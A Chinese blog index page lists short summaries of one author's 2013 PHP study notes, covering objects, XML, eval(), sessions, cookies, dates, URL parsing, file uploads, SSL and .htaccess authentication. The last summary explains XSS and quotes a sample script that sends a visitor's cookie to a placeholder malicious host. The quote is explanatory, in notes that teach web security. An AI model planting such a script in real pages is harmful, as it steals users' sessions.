摘要: 1.PHP4中,我们可以在子类中覆盖并访问父类的方法,然而还是有不足:1.把对象赋值给变量,传递对象到函数,或从方法返回对象,结果都会创建对象的副本,即不是按引用来传递;2.有一个被规划在PHP6中的特性,已经从PHP5.3中的到了支持:命名空间。通过命名空间创建类和函数的命名作用域,在扩展系统或者包含类库时,你就可以在不同的类库中使用名称相同的类,而不会产生冲突3.对象可以被说成是类的‘实例’,它是由类定义的数据类型4.在PHP4和PHP5(直到PHP5.1)中,直接输出一个对象,得到的是包含对象ID的字符串,PHP5.2开始不再支持这个功能,除非在对象中定义了__toString()方法5 阅读全文
posted @ 2013-06-18 21:10 山贼一名 阅读(344) 评论(0) 推荐(0) 编辑
摘要: 1.利用XML跟其他站定交互的两种方式:REST:状态转换;SOAP:简单对象访问协议2.<?xml version='1.0' encdong:'utf-8'>是一个标准的声明,它告诉我们接下来的文档将会是使用UTF-8字符编码的XML文件3.每一个XML文档都会有一个根元素,如<ItemLookupResponse xmlns="http://abc.abc.com">,该元素有一些特殊的属性,这些属性是XML的命名空间,该元素的基本功能是确保元素和属性名称的正确性,这样当处理来自不同组织的文档时,这些通用名称不会 阅读全文
posted @ 2013-06-13 22:54 山贼一名 阅读(252) 评论(0) 推荐(0) 编辑
摘要: 1.函数eval()函数可以技术按出PHP代码字符串的值,例如eval("echo 'hello world';");上述代码将产生于如下语句运行结果相同的输出。该函数最常用的是“系统模块化”,我们可以从数据库中载入HTML,PHP和纯文本的混合,模板系统可以对这些内容格式化并且通过eval()函数来执行任何PHP代码。2.exit()和die()函数用于终止一段代码的运行,参数可以为空、一个错误提示字符串、甚至一个函数。3.序列化变量和对象,序列化是将可以保存在PHP变量或对象的任何数据转换成字节流的处理过程,即把一个变量或对象转换成字符串来表示。主要用来 阅读全文
posted @ 2013-05-30 22:22 山贼一名 阅读(198) 评论(0) 推荐(0) 编辑
摘要: 1.PHP会话是通过唯一的会话ID来驱动,会话ID是一个加密的随机数字,它由PHP生成,在会话的生命周期中都会保存在客户端,它可以保存在用户机器的cookie里,也可以通过URL在网络上传递2.cookie就是由一段有脚本在客户端保存的信息,可以通过发送一个包含特定数据并且具有如下格式的HTTP标题头 Set-Cookie:NAME=VALUE;[expire=DATE;][path=PATH][domain=DOMAIN_NAME;][secure]上述语句将会创建一个名为name、值为value的cookie,除了该参数,其他参数都是可选的,expire参数域设置该cookie的实效日期. 阅读全文
posted @ 2013-05-28 21:44 山贼一名 阅读(271) 评论(0) 推荐(0) 编辑
摘要: 1.date()函数带有两个参数,第一个是格式字符串,第二个是unix时间邮戳(可选)。在默认情况下,date()函数将返回当前的日期和时间2.UNIX系统保存当前日期和时间的方法是:保存格林威治标准时间从1970年1月1日零点起到当前时刻的秒数,以32位整列表示,但又个小问题:因为时间通过32位的整数来表示,如果软件需要处理1902年以前或2038年以后的时间,将会遇到一些麻烦3.在某些系统中(包括windows),其范围更加有限。时间邮戳不能为负数,因此1970年以前的时间邮戳无法使用,要使代码具有可移植性,必须记住这一点4.如果要将一个日期和时间转变成UNIX时间邮戳,可以使用mktim 阅读全文
posted @ 2013-05-27 22:05 山贼一名 阅读(287) 评论(0) 推荐(0) 编辑
摘要: 1.urllencode()函数将接受一个字符串并将其转换为合适的URL格式,urldecode()函数的功能刚好相反2.把一个url参数传给parse_url()函数,通过该函数,将返回URL不同部分的相关数组,该数组的的可用信息部分分别是“模式,用户,传递,主机,端口,路径,查询,代码段”,即“scheme,user,pass,host,port,path,query,fragment”,以如下URL所示:http://nobody:secret@example.com:80/script.php?key=value#anchor,则数组的每一个元素值分别为http-nobody-secr 阅读全文
posted @ 2013-05-23 22:24 山贼一名 阅读(229) 评论(0) 推荐(0) 编辑
摘要: 1.php的4个能控制PHP如何处理文件上传的指令指令描述默认值file_uploads控制是否允许HTTP方式的文件上传。允许值为ON或OFFONupload_tmp_dir指定上传的文件在被处理之前的临时保存目录。如果没有设置,将使用系统的默认值。如果在处理脚本执行完成之前不移动、复制或更改文件名称,该文件将被删除NULLupload_max_filesize控制允许上传的文件的最大值,如果文件大小大于该值,PHP将创建一个文件大小为0的占位符文件2Mpost_max_size控制PHP可以接受的通过POST上传数据的最大值,该值必须大于upload_max_filesize设置的值,因为 阅读全文
posted @ 2013-05-04 09:15 山贼一名 阅读(342) 评论(0) 推荐(0) 编辑
摘要: 1.在安装PHP时,以web服务器的SAPI模块方式安装PHP比以CGI接口的方式安装PHP更安全、更有效。2.实现SSL(Secure Sockets Layer Protocol加密套接字层)的网络协议和软件都是按照一种层次堆栈的形式来组织。每一次能够将数据传输到下一层或上一层,并且能够向上一层或下一层发出服务请求。如下图所示,自上向下分别为:应用层、传输层、网络层、至网络层的主机HTTPFTPSMTPTCP/UDPIPVarious使用SSL层将为这种模型添加一个额外的透明层。SSL层介于传输层和应用层之间,在将信息发送到传输层以将其送到目的地之前,SSL层修改来自HTTP应用层的数据, 阅读全文
posted @ 2013-04-26 22:20 山贼一名 阅读(210) 评论(0) 推荐(0) 编辑
摘要: 1.apache web服务器包含一些不同的身份验证模式,这些模式可以用于判断用户输入数据的有效性。最简单的是使用mod_auth,它将用户-密码对与服务器中的一个文本进行比较。该验证将用到.htaccess文件.2.关于.htaccess文件,该文件用于在一个目录中开启基本的身份验证功能,可以在该文件中修改许多设置,先举个例子ErrorDocument 401 /chapter11/rejection.htmlAuthUserFile /home/book/.htpassAuthGroupFile /dev/nullAuthName "Realm-Name"AuthTyp 阅读全文
posted @ 2013-04-25 23:16 山贼一名 阅读(235) 评论(0) 推荐(0) 编辑
摘要: 1.在互联网中,一种非常常见的有效供给类型就是常说的恶意代码注入,如XSS,它的工作流程如下 a.恶意用户在一些公共区域(如建议提交表单或消息公告板的输入表单)输入一些文本,这些文本将被其他用户看到,但这些文本不仅仅是他们要输入的文本,同时还包含了一些可以在客户端执行的脚本,如下所示:<script> this.document="go.somewhere.bad?cookie="+this.coolie;</script>该脚本会使这个用户重定向,且最初站点的cookie信息将被随同发送 b.恶意用户提交这个表单并等待 c.系统的下一个用户看到了这 阅读全文
posted @ 2013-04-24 22:18 山贼一名 阅读(297) 评论(0) 推荐(0) 编辑